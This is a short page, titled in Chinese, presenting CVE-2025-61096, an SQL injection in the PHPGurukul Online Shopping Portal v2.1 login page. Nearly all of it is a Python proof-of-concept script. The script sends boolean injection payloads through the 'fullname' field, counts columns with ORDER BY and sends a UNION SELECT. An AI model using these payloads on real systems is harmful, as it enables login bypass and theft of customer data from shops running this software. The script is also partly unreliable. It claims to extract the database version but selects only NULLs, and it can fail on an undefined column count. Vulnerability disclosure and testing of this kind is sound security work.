CVE-2025-61096：PHPGurukul在线购物门户SQL注入漏洞

# CVE-2025-61096 - PHPGurukul Online Shopping Portal v2.1 SQL Injection PoC # Vulnerability Location: /shopping/login.php # Vulnerable Parameter: fullname import requests TARGET_URL = "http://target.com/shopping/login.php" # Step 1: Test for SQL injection vulnerability using a simple boolean-based payload def test_sqli(target_url): # Normal request baseline normal_payload = { "fullname": "admin", "password": "test123", "login": "Login" } baseline_resp = requests.post(target_url, data=normal_payload) baseline_len = len(baseline_resp.text) # Boolean-based TRUE condition payload true_payload = { "fullname": "admin' OR '1'='1' -- -", "password": "test123", "login": "Login" } true_resp = requests.post(target_url, data=true_payload) true_len = len(true_resp.text) # Boolean-based FALSE condition payload false_payload = { "fullname": "admin' OR '1'='2' -- -", "password": "test123", "login": "Login" } false_resp = requests.post(target_url, data=false_payload) false_len = len(false_resp.text) print(f"[+] Baseline response length: {baseline_len}") print(f"[+] TRUE condition response length: {true_len}") print(f"[+] FALSE condition response length: {false_len}") if true_len != false_len: print("[!] Vulnerability confirmed: SQL injection in 'fullname' parameter") return True return False # Step 2: Extract database version using UNION-based injection def extract_db_info(target_url, columns=5): # Determine number of columns via ORDER BY technique for i in range(1, 15): payload = { "fullname": f"' ORDER BY {i} -- -", "password": "test", "login": "Login" } r = requests.post(target_url, data=payload) if "error" in r.text.lower() or r.status_code == 500: print(f"[+] Number of columns: {i - 1}") col_count = i - 1 break # UNION-based extraction of database version union_payload = { "fullname": f"' UNION SELECT {','.join(['NULL'] * col_count)} -- -", "password": "test", "login": "Login" } r = requests.post(target_url, data=union_payload) print(f"[+] UNION SELECT response: {r.text[:500]}") if __name__ == "__main__": print(f"[*] Testing CVE-2025-61096 against {TARGET_URL}") if test_sqli(TARGET_URL): extract_db_info(TARGET_URL)